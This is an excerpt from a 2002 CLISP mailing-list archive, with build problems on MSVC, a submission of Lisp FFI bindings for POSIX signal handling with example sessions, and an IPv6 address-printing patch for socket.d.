typedef long long SLONGLONG; for Microloft VC, which is not accepted. -------- o when linking lisp.exe Befehlszeilenwarnung D4002 : Unbekannte Option '-lm' wird ignoriert Probably makemake needs to be changed? -------- o dirkey.lisp: The following functions were used but not defined: LDAP::TEXT TEXT seems to come from package SYSTEM instead (SYSTEM::TEXT) and used in producing error messages (IIRC it's a marker for GETTEXT). -------- o One of dirkey.lisp or dirkey.c should be renamed (like affi|1, foreign|1, rexx|1.{d,lisp}) This will avoid dirkey.c to get overwritten the day dirkey.lisp will contain some FFI definition, when it's supposed to be generated from dirkey.d. Furthermore, makefile (MSVC6.0) get confused and wants to rebuild my dirkey, maybe because of this?? or maybe because somehow dirkey.c disappeared? -------- Seen after I added MODULE(mtest) to modules.h: modules.i.c modules.h(1) : warning C4113: 'void (__cdecl *)()' weicht in der Parameterliste von 'void (__cdecl *)(struct module_ *)' ab modules.h(1) : warning C4113: 'void (__cdecl *)()' weicht in der Parameterliste von 'void (__cdecl *)(struct module_ *)' ab "x deviates in the parameter list from y." Looks like something was missing or not expanded. That doesn't look like a good definition. I also have 5KB worth of compiler warnings from varying C files (in German, sorry). Where should I send that? Regards, Jorg Hohle. From peter.wood@worldonline.dk Fri Mar 08 06:33:21 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jLQu-0005xB-00 for ; Fri, 08 Mar 2002 06:33:20 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id F02C8B6AE for ; Fri, 8 Mar 2002 15:33:11 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g28EFMc03071; Fri, 8 Mar 2002 15:15:22 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020308151522.A3062@localhost.localdomain> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="wRRV7LY7NUeQGEoC" Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] sigaction for linux.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 8 06:34:04 2002 X-Original-Date: Fri, 8 Mar 2002 15:15:22 +0100 --wRRV7LY7NUeQGEoC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, I would like to submit for inclusion in linux.lisp the following ffi definitions for signal handling with sigaction. This augments "LINUX" with access to the following functions: sigemptyset, sigfillset, sigdelset, sigismember, sigprocmask, sigpending, sigsuspend, sigaction, kill, killpg, raise, sigpause Attached is sigaction.lisp (which can just be pasted into linux.lisp at the end before the clean up comment) and siga-wrap.lisp which should be loaded from a lisp run with ./full/lisp.run -M full/lispinit.mem in the directory you have built in. A problem which I encountered was that the signal handler function in a sigaction struct can be (in C) either a pointer to a function, or an int! However the only ints which get used are SIG_IGN for ignoring the signal, or SIG_DFL for restoring the default. So I have not attempted to solve this problem because it is easy to provide the same functionality as SIG_DFL and SIG_IGN by other means. If anyone has a reasonably simple way to enable the use of SIG_DFL and SIG_IGN as ints in the struct, I would be very interested to hear. If it was a c function, I would split it into 2 cases, for handling the different types, but what does one do when it's a struct!? A peculiarity which may be a bug in the ffi was this: The sa_flags member in a sigaction structure is declared (in C) as an int. However Clisp reported that it could not coerce SA_RESETHAND (reset to default handler) to an ffi:int. It had no problem handling the flags for (eg) linux:SIGINT, which was also type BIGNUM. According to the documentation, lisp name 'int' and C 'int' are equivalent. SA_RESETHAND is defined as #x80000000. Changing ffi:int to ffi:uint32 in the ffi definition for the sigact struct solved the problem. Why does it work in C if SA_RESETHAND is too large. There may be a problem here, or am I missing something. Obviously, the sigaction stuff has not been _rigorously_ tested. However it has worked nicely for me, up to now. You should probably be careful in case there is some unknown problem. Here is an example session using the definitions, and siga-wrap.lisp (also included) which is just a bunch of convenience functions. -----------------------example ----------------------------------- [2]> (load #"bindings/linuxlibc6/siga-wrap.lisp") ;; Loading file bindings/linuxlibc6/siga-wrap.lisp ... ;; Loading of file bindings/linuxlibc6/siga-wrap.lisp is finished. T [3]> (setf oldsigact (signal-action-retrieve linux:SIGINT)) #S(LINUX:sigaction :|sa_handler| # :|sa_mask| #S(LINUX:sigset_t :|val| #(2)) :|sa_flags| 335544320 :|sa_restorer| #) [4]> (setf savehandler (sa-handler oldsigact)) # [5]> (defun wow (s) (format t "Wow! You zapped me with signal ~R~%" s)) WOW [6]> (setf (sa-handler oldsigact) #'wow) # [7]> (signal-action-install linux:SIGINT oldsigact) T ;;now Ctrl-C calls #'wow !! [8]> Wow! You zapped me with signal two Wow! You zapped me with signal two Wow! You zapped me with signal two Wow! You zapped me with signal two :a :A [9]> (setf (sa-handler oldsigact) savehandler) # [10]> (signal-action-install linux:SIGINT oldsigact) T ;;Ctrl-C calls the original handler !! [11]> *** - Ctrl-C: User break 1. Break [12]> :a [13]> (dribble) :-)) cute, huh? ------------------------------------------------------------------------ #'mysignal in siga-wrap.lisp is an example of how easy it is to write signal() using sigaction. ----------------------------example usage --------------------------- [2]> (load #"bindings/linuxlibc6/siga-wrap.lisp") ;; Loading file bindings/linuxlibc6/siga-wrap.lisp ... ;; Loading of file bindings/linuxlibc6/siga-wrap.lisp is finished. T [3]> (setf oldh (mysignal linux:SIGINT #'test1)) # [4]> (linux:raise linux:SIGINT) got signal two 0 [5]> (linux:raise linux:SIGINT) got signal two 0 [6]> (mysignal linux:SIGINT oldh) # [7]> (linux:raise linux:SIGINT) ** - Continuable Error PRINT: User break If you continue (by typing 'continue'): Continue execution 1. Break [8]> :a [9]> (dribble) ----------------------------voila :-) ---------------------------- According to my manual, sa_restorer is obsolete and should not be used. Please note that if you use SA_RESETHAND, you reset the handler to the system's notion of default handler, not Clisp's, so if you then hit Ctrl-c, you would exit Clisp! Finally, here's an example of using sigprocmask and sigpending. ---------------------------example-------------------------------- [15]> (setf sigact (signal-action-retrieve linux:SIGINT)) #S(LINUX:sigaction :|sa_handler| # :|sa_mask| #S(LINUX:sigset_t :|val| #(2)) :|sa_flags| 335544320 :|sa_restorer| #) [16]> (linux:raise linux:SIGINT) ** - Continuable Error PRINT: User break If you continue (by typing 'continue'): Continue execution 1. Break [17]> :a [18]> (set-sigprocmask linux:SIG_BLOCK (sa-mask sigact)) T [19]> (linux:raise linux:SIGINT) 0 [20]> (sigpending? ) #S(LINUX:sigset_t :|val| #(2)) [21]> (set-sigprocmask linux:SIG_UNBLOCK (sa-mask sigact)) ** - Continuable Error EVAL: User break If you continue (by typing 'continue'): Continue execution 1. Break [22]> :a [23]> (sigpending? ) #S(LINUX:sigset_t :|val| #()) [24]> (linux:raise linux:SIGINT) ** - Continuable Error PRINT: User break If you continue (by typing 'continue'): Continue execution 1. Break [25]> 0 [26]> (dribble) ----------------------------------------------------------- Sorry about the long post. Have fun, Regards Peter --wRRV7LY7NUeQGEoC Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="sigaction.lisp" ; --------------------------------- ---------------------------- ; --- Posix sigaction --- ; Peter Wood 2002 ; just paste into linux.lisp 'as is' (defconstant SIGHUP 1) ;; Hangup (POSIX). (defconstant SIGINT 2) ;; Interrupt (ANSI). (defconstant SIGQUIT 3) ;; Quit (POSIX). (defconstant SIGILL 4) ;; Illegal instruction (ANSI). (defconstant SIGTRAP 5) ;; Trace trap (POSIX). (defconstant SIGABRT 6) ;; Abort (ANSI). (defconstant SIGIOT 6) ;; IOT trap (4.2 BSD). (defconstant SIGBUS 7) ;; BUS error (4.2 BSD). (defconstant SIGFPE 8) ;; Floating-point exception (ANSI). (defconstant SIGKILL 9) ;; Kill, unblockable (POSIX). (defconstant SIGUSR1 10) ;; User-defined signal 1 (POSIX). (defconstant SIGSEGV 11) ;; Segmentation violation (ANSI). (defconstant SIGUSR2 12) ;; User-defined signal 2 (POSIX). (defconstant SIGPIPE 13) ;; Broken pipe (POSIX). (defconstant SIGALRM 14) ;; Alarm clock (POSIX). (defconstant SIGTERM 15) ;; Termination (ANSI). (defconstant SIGSTKFLT 16) ;; Stack fault. (defconstant SIGCHLD 17) ;; Child status has changed (POSIX). (defconstant SIGCLD SIGCHLD) ;; Same as SIGCHLD (System V). (defconstant SIGCONT 18) ;; Continue (POSIX). (defconstant SIGSTOP 19) ;; Stop, unblockable (POSIX). (defconstant SIGTSTP 20) ;; Keyboard stop (POSIX). (defconstant SIGTTIN 21) ;; Background read from tty (POSIX). (defconstant SIGTTOU 22) ;; Background write to tty (POSIX). (defconstant SIGURG 23) ;; Urgent condition on socket (4.2 BSD). (defconstant SIGXCPU 24) ;; CPU limit exceeded (4.2 BSD). (defconstant SIGXFSZ 25) ;; File size limit exceeded (4.2 BSD). (defconstant SIGVTALRM 26) ;; Virtual alarm clock (4.2 BSD). (defconstant SIGPROF 27) ;; Profiling alarm clock (4.2 BSD). (defconstant SIGWINCH 28) ;; Window size change (4.3 BSD, Sun). (defconstant SIGIO 29) ;; I/O now possible (4.2 BSD). (defconstant SIGPOLL SIGIO) ;; Pollable event occurred (System V). (defconstant SIGPWR 30) ;; Power failure restart (System V). (defconstant SIGSYS 31) ;; Bad system call. (defconstant SIGUNUSED 31) #| ;pseudo sigs :-( I don't know how to do these... #define SIG_ERR ((__sighandler_t) -1) /* Error return. */ #define SIG_DFL ((__sighandler_t) 0) /* Default action. */ #define SIG_IGN ((__sighandler_t) 1) /* Ignore signal. */ But it's not the end of the world, since its easy to accomplish what SIG_DFL and SIG_IGN do anyway, by other means ... They are just sugar, really. |# ; --------------------------------- -------------------------- ;(eval-when (load compile eval) ; (defconstant SIGSET_NWORDS #.(lisp:/ 1024 #.(lisp:* 8 (ffi:sizeof 'ffi:uint))))) (eval-when (load compile eval) (defconstant SIGSET_NWORDS 32)) (def-c-struct sigset_t (val (c-array-max uint #.SIGSET_NWORDS))) ; --------------------------------- ----------------------- (def-c-type sighandler_t (c-function (:arguments (sig int)) ;from signal.h (:return-type nil))) (def-c-struct sigaction (sa_handler sighandler_t) (sa_mask sigset_t) (sa_flags uint32) ;actually int but otherwise Clisp can't coerce SA_RESETHAND?! (sa_restorer (c-function (:arguments) (:return-type)))) (defconstant SA_NOCLDSTOP 1) ;;Don't send SIGCHLD when children stop. (defconstant SA_NOCLDWAIT 2) ;;Don't create zombie on child death. ;;?not available? (defconstant SA_RESTART #x10000000) ;;Restart syscall on signal return. (defconstant SA_NODEFER #x40000000) ;;Don't automatically block the signal when ;;its handler is being executed. (defconstant SA_RESETHAND #x80000000) ;;Reset to SIG_DFL on entry to handler. (defconstant SA_NOMASK SA_NODEFER) (defconstant SA_ONESHOT SA_RESETHAND) (defconstant SIG_BLOCK 0) ;;Block signals (defconstant SIG_UNBLOCK 1) ;;Unblock signals. (defconstant SIG_SETMASK 2) ;;Set the set of blocked signals. ;sa_flags is the bitwise-or of zero or more of the following: ;SA_NOCLDSTOP SA_ONESHOT SA_RESETHAND SA_RESTART SA_NOMASK SA_NODEFER ; --------------------------------- ------------------------------ ;sigsetops (3) (def-c-call-out sigemptyset (:name "sigemptyset") (:arguments (sigs (c-ptr sigset_t) :out :alloca)) (:return-type int)) (def-c-call-out sigfillset (:name "sigfillset") (:arguments (sigs (c-ptr sigset_t) :out :alloca)) (:return-type int)) (def-c-call-out sigaddset (:name "sigaddset") (:arguments (sigset (c-ptr sigset_t) :in-out :alloca) (sig int)) (:return-type int)) (def-c-call-out sigdelset (:name "sigdelset") (:arguments (sigset (c-ptr sigset_t) :in-out :alloca) (sig int)) (:return-type int)) (def-c-call-out sigismember (:name "sigismember") (:arguments (sigset (c-ptr sigset_t) :in :alloca) (sig int)) (:return-type int)) (def-c-call-out sigprocmask-set-n-save (:name "sigprocmask") (:arguments (how int) (sigset (c-ptr sigset_t) :in :alloca) (newset (c-ptr sigset_t) :out :alloca)) (:return-type int)) (def-c-call-out sigprocmask-set (:name "sigprocmask") (:arguments (how int) (sigset (c-ptr sigset_t) :in :alloca) (null c-string)) (:return-type int)) ; 'how' can be: SIG_BLOCK SIG_UNBLOCK SIG_SETMASK (def-c-call-out sigpending (:name "sigpending") (:arguments (sigset (c-ptr sigset_t) :out :alloca)) (:return-type int)) (def-c-call-out sigsuspend (:name "sigsuspend") (:arguments (mask (c-ptr sigset_t) :in :alloca)) (:return-type int)) ;int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact); (def-c-call-out sigaction-new (:name "sigaction") (:arguments (sig int) (act (c-ptr sigaction) :in :alloca) (null c-string)) ;nil (:return-type int)) ;eg (sigaction SIGINT newhandler nil) => 0 (def-c-call-out sigaction-old (:name "sigaction") (:arguments (sig int) (null c-string) ; nil (oact (c-ptr sigaction) :out :alloca)) (:return-type int)) ;eg (setf oldhandler (multiple-value-bind (r s) (sigaction SIGINT nil) s)) => oldhandler (def-c-call-out sigaction-query ;if 2nd & 3rd args are null, query if signal SIG is valid (:name "sigaction") (:arguments (sig int) (null c-string) ;nil (null c-string)) ;null (:return-type int)) ;eg (linux:sigaction-query linux:SIGINT nil nil) => 0 ;miscellaneous signal stuff (def-c-call-out kill (:name "kill") (:arguments (pid pid_t) (sig int)) (:return-type int)) (def-c-call-out raise (:name "raise") (:arguments (sig int)) (:return-type int)) (def-c-call-out sigpause (:name "sigpause") (:arguments (sig int)) (:return-type int)) (def-c-call-out killpg (:name "killpg") (:arguments (pgrp pid_t) (sig int)) (:return-type int)) ;------------------------------------------------------------ --wRRV7LY7NUeQGEoC Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="siga-wrap.lisp" ;; convenience functions for ffi sigaction definitions ;; Peter Wood 2002 (defun signal-action-query (signal) "Is SIGNAL valid for this machine?" (when (zerop (linux:sigaction-query signal nil nil)) t)) (defun signal-action-retrieve (signal) "Return the presently installed sigaction structure for SIGNAL" (multiple-value-bind (ret act) (linux:sigaction-old signal nil) (when (zerop ret) act))) (defun signal-action-install (signal newact) "Install NEWACT as the sigaction structure for SIGNAL. T on success." (when (zerop (linux:sigaction-new signal newact nil)) t)) (defun sa-handler (sigact) "Returns the signal handler function for SIGACT struct. setf place." (slot-value sigact 'linux::sa_handler)) (defsetf sa-handler (sigact) (handler) `(setf (slot-value ,sigact 'linux::sa_handler) ,handler)) (defun sa-flags (sigact) "Returns the sa_flags for SIGACT struct. setf place." (slot-value sigact 'linux::sa_flags)) (defsetf sa-flags (sigact) (newflags) `(setf (slot-value ,sigact 'linux::sa_flags) ,newflags)) ;eg (setf (sa-flags SIGACT) (logior SA_RESETHAND SA_NOCLDSTOP)) (defun sa-mask (sigact) "Returns the sa_mask for SIGACT struct. setf place." (slot-value sigact 'linux::sa_mask)) (defsetf sa-mask (sigact) (mask) `(setf (slot-value ,sigact 'linux::sa_mask) ,mask)) (defun sigemptyset () "Return an empty sigset" (multiple-value-bind (ret act) (linux:sigemptyset) (when (zerop ret) act))) (defun sigfillset () "Return a full sigset" (multiple-value-bind (ret set) (linux:sigfillset) (when (zerop ret) set))) (defun sigaddset (set signal) "Return a new set with SIGNAL" (multiple-value-bind (ret set) (linux:sigaddset set signal) (when (zerop ret) set))) (defun sigdelset (set signal) "Return a new set without SIGNAL" (multiple-value-bind (ret set) (linux:sigdelset set signal) (when (zerop ret) set))) (defun sigismemberp (set signal) "T if SIGNAL is a member of SET, otherwise NIL" (when (not (zerop (linux:sigismember set signal))) t)) (defun set-sigprocmask (act set) ;NB the result of this will not be 'visible' in the sigaction ;struct which contains SET, although the ACT *will* be performed. ;If you want a visible result, see linux:sigprocmask-set-n-save, ;which returns as 2nd value the set structure resulting from ACT. "Do ACT on SET. Returns T, or NIL on failure." (when (zerop (linux:sigprocmask-set act set nil)) t)) (defun sigpending? () "Returns the set of pending signals. Nil on failure" (multiple-value-bind (ret set) (linux:sigpending) (when (zerop ret) set))) (defun mysignal (signal fn) "Sets FN as signal handler for SIGNAL. Returns old signal handler." (let ((sigact (signal-action-retrieve signal)));get the currently installed sigact struct (when sigact (let ((oh (sa-handler sigact))) ;save old handler to return (setf (sa-handler sigact) fn) ;make fn be handler in sigact (when (signal-action-install signal sigact);if install succeeds oh)))));return old handler, otherwise nil. (defun test1 (s) (format t "got signal ~R~%" s)) --wRRV7LY7NUeQGEoC-- From samuel.steingold@verizon.net Fri Mar 08 08:27:26 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jNDJ-0000PI-00 for ; Fri, 08 Mar 2002 08:27:25 -0800 Received: from gnu.org ([151.203.227.220]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020308162712.KOQL16260.out002.verizon.net@gnu.org>; Fri, 8 Mar 2002 10:27:12 -0600 To: IPmonger Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 8 08:28:06 2002 X-Original-Date: 08 Mar 2002 11:21:33 -0500 > * In message > * On the subject of "Re: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21)" > * Sent on Fri, 08 Mar 2002 02:44:41 -0500 > * Honorable IPmonger writes: > > Sam Steingold writes: > > > add -DDEBUG_EVAL -DDEBUG_SPVW to CFLAGS. > > Ok, so I did this and it fails to compile spvw.c because of problems > in spvw_general.d: > > spvw_genera1.d:948: structure has no member named `heapnr_from_type' > spvw_genera1.d:953: structure has no member named `heapnr_from_type' > spvw_genera1.d:962: `symbol_type' undeclared (first use in this function) > > These are caused by the -DDEBUG_SPVW flag. I guess not all options work together. add -DSAFETY=3. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From samuel.steingold@verizon.net Fri Mar 08 09:12:34 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jNuz-00044b-00 for ; Fri, 08 Mar 2002 09:12:33 -0800 Received: from gnu.org ([151.203.227.220]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020308171204.KZUJ23097.out005.verizon.net@gnu.org> for ; Fri, 8 Mar 2002 11:12:04 -0600 To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 75 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] ipv6 on cygwin & win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 8 09:13:12 2002 X-Original-Date: 08 Mar 2002 12:07:07 -0500 Those of you who use win32 (msvc) or cygwin -- please test the appended patch. If the new-clx users pre-tested 2.28, it would not have broke new-clx. If the win32 & cygwin users will not test this patch, the next release might not work for them. thanks. PS is there a site with an ipv6 address around to test this? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! If I had known that it was harmless, I would have killed it myself. --- socket.d.~1.54.~ Tue Dec 11 16:44:10 2001 +++ socket.d Fri Mar 8 11:55:19 2002 @@ -130,7 +130,7 @@ # Converts an AF_INET address to a printable, presentable format. # ipv4_ntop(buffer,addr); -# > sockaddr_in addr: IPv4 address +# > struct in_addr addr: IPv4 address # < char[] buffer: printable address # buffer should have at least 15+1 characters. #ifdef HAVE_IPV4 @@ -145,35 +145,27 @@ # Converts an AF_INET6 address to a printable, presentable format. # ipv6_ntop(buffer,addr); -# > sockaddr_in6 addr: IPv6 address +# > struct in6_addr addr: IPv6 address # < char[] buffer: printable address # buffer should have at least 45+1 characters. #ifdef HAVE_IPV6 + #ifndef s6_addr16 + #define s6_addr16 in6_u.u6_addr16 + #endif #ifdef HAVE_INET_NTOP #define ipv6_ntop(buffer,addr) \ inet_ntop(AF_INET6,&addr,buffer,45+1) - #elif defined(WIN32) || defined(UNIX_CYGWIN32) - #define ipv6_ntop(buffer,addr) \ - (sprintf(buffer,"%x:%x:%x:%x:%x:%x:%x:%x", \ - ntohs(((u_short*)(addr).s6_addr)[0]), \ - ntohs(((u_short*)(addr).s6_addr)[1]), \ - ntohs(((u_short*)(addr).s6_addr)[2]), \ - ntohs(((u_short*)(addr).s6_addr)[3]), \ - ntohs(((u_short*)(addr).s6_addr)[4]), \ - ntohs(((u_short*)(addr).s6_addr)[5]), \ - ntohs(((u_short*)(addr).s6_addr)[6]), \ - ntohs(((u_short*)(addr).s6_addr)[7])),buffer) #else #define ipv6_ntop(buffer,addr) \ (sprintf(buffer,"%x:%x:%x:%x:%x:%x:%x:%x", \ - ntohs((addr).in6_u.u6_addr16[0]), \ - ntohs((addr).in6_u.u6_addr16[1]), \ - ntohs((addr).in6_u.u6_addr16[2]), \ - ntohs((addr).in6_u.u6_addr16[3]), \ - ntohs((addr).in6_u.u6_addr16[4]), \ - ntohs((addr).in6_u.u6_addr16[5]), \ - ntohs((addr).in6_u.u6_addr16[6]), \ - ntohs((addr).in6_u.u6_addr16[7])),buffer) + ntohs((addr).s6_addr16[0]), \ + ntohs((addr).s6_addr16[1]), \ + ntohs((addr).s6_addr16[2]), \ + ntohs((addr).s6_addr16[3]), \ + ntohs((addr).s6_addr16[4]), \ + ntohs((addr).s6_addr16[5]), \ + ntohs((addr).s6_addr16[6]), \ + ntohs((addr).s6_addr16[7])),buffer) #endif #endif From samuel.steingold@verizon.net Fri Mar 08 11:01:02 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jPbx-0006hE-00 for ; Fri, 08 Mar 2002 11:01:01 -0800 Received: from gnu.org ([151.203.227.220]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020308190053.LKTC27556.out001.verizon.net@gnu.org>; Fri, 8 Mar 2002 13:00:53 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Building CLISP for Windows References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 98 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 8 11:02:03 2002 X-Original-Date: 08 Mar 2002 13:55:28 -0500 > * In message > * On the subject of "[clisp-list] Re: Building CLISP for Windows" > * Sent on Fri, 8 Mar 2002 11:06:10 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > > see CLISP/win32*/ > > I used msvc6 with CLISP/win32msvc/makefile.msvc5 and followed the > > instructions in CLISP/win32msvc/INSTALL > > everything worked just dandy. > I can confirm this, using MSVC6. > > However, here are some observations of mine: > > o (queens 21.0s0) still crashes. msvs has a pretty decent debugger - maybe you could track this down? you will have to recreate makefile: look at Makefile.devel and add "debug" to the makemake options. > o genclisph.exe and as a consequence clisp.h are not generated and > there's even no makefile target for them. > Did anyone ever build a module on MS-windows? IIUC, you need add an interface to LoadLibrary (win32 version of dlopen) to spvw.d:dynload_modules(). Bruno proposed using libltdl from GNU libtool. would you like to do this? > What is the wgenclisph.exe that makefile target clean0 may remove? Bruno? > I used the following to complete the makefile (somebody please add this to makemake): > genclisph.exe : genclisph.obj > $(CC) $(CFLAGS) $(CLFLAGS) genclisph.obj /Fegenclisph.exe > clisp.h : genclisph.exe > genclisph.exe > clisp.h this was disabled on win32 together will the rest of the modules interface. I enabled it - re-create your makefiles and try it (you will need some UNIX utils, like sed, for some other module targets, and I am not sure that nmake supports things like $@ &c.) > -------- > clisp.h is not quite correct: > mtest.c (generated from my private mtest.lisp) includes clisp.h > clisp.h(24) : error C2632: 'long' gefolgt von 'long' ist unzulaessig > clisp.h(25) : error C2632: 'long' gefolgt von 'long' ist unzulaessig > It seems like genclisp.d doesn't reproduce lispbibl.d which says: > #elif defined(MICROSOFT) > typedef __int64 SLONGLONG; > typedef unsigned __int64 ULONGLONG; > #define HAVE_LONGLONG > #endif > and just outputs: > typedef long long SLONGLONG; > for Microloft VC, which is not accepted. fixed, thanks. > o dirkey.lisp: > The following functions were used but not defined: > LDAP::TEXT > TEXT seems to come from package SYSTEM instead (SYSTEM::TEXT) and used > in producing error messages (IIRC it's a marker for GETTEXT). > > -------- > o One of dirkey.lisp or dirkey.c should be renamed (like affi|1, > foreign|1, rexx|1.{d,lisp}) This will avoid dirkey.c to get > overwritten the day dirkey.lisp will contain some FFI definition, when > it's supposed to be generated from dirkey.d. Furthermore, makefile > (MSVC6.0) get confused and wants to rebuild my dirkey, maybe because > of this?? or maybe because somehow dirkey.c disappeared? another mystery solved!!! thanks! fixed too. > -------- > Seen after I added MODULE(mtest) to modules.h: > modules.i.c > modules.h(1) : warning C4113: 'void (__cdecl *)()' weicht in der > Parameterliste von 'void (__cdecl *)(struct module_ *)' ab > modules.h(1) : warning C4113: 'void (__cdecl *)()' weicht in der Parameterliste > von 'void (__cdecl *)(struct module_ *)' ab > "x deviates in the parameter list from y." > Looks like something was missing or not expanded. That doesn't look like a good definition. > > I also have 5KB worth of compiler warnings from varying C files (in German, sorry). Where should I send that? Please fix them and send in a patch instead! :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Bus error -- driver executed. From ipmonger@delamancha.org Fri Mar 08 18:44:37 2002 Received: from validus.delamancha.org ([216.7.21.39]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jWqZ-0004cm-00 for ; Fri, 08 Mar 2002 18:44:36 -0800 Received: (from ipmonger@localhost) by validus.delamancha.org (8.11.6/8.11.6) id g292iYT11289; Fri, 8 Mar 2002 21:44:34 -0500 X-Authentication-Warning: validus.delamancha.org: ipmonger set sender to ipmonger@delamancha.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21) References: In-Reply-To: (Sam Steingold's message of "08 Mar 2002 11:21:33 -0500") From: IPmonger Message-ID: Lines: 25 User-Agent: Gnus/5.090006 (Oort Gnus v0.06) XEmacs/21.5 (bamboo, i686-pc-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 8 18:45:06 2002 X-Original-Date: Fri, 08 Mar 2002 21:44:34 -0500 Sam, Let me start by thanking you for your help. I appreciate you giving so much time to me. I'm sorry that I can't be more productive in providing debugging information. Sam Steingold writes: > I guess not all options work together. > add -DSAFETY=3. I did this. It now compiles. It still crashes during the half-compiled stage, but after loading a different file. :-) I'll follow the recommendations you had previously given me and see if I can produce anything useful. Thanks again for your help. -IPmonger -- ------------------ IPmonger ipmonger@delamancha.org CCIE #8338 From samuel.steingold@verizon.net Fri Mar 08 21:28:37 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jZPI-0002ur-00 for ; Fri, 08 Mar 2002 21:28:36 -0800 Received: from gnu.org ([151.203.227.220]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020309052835.NRHC16260.out002.verizon.net@gnu.org>; Fri, 8 Mar 2002 23:28:35 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] sigaction for linux.lisp References: <20020308151522.A3062@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: 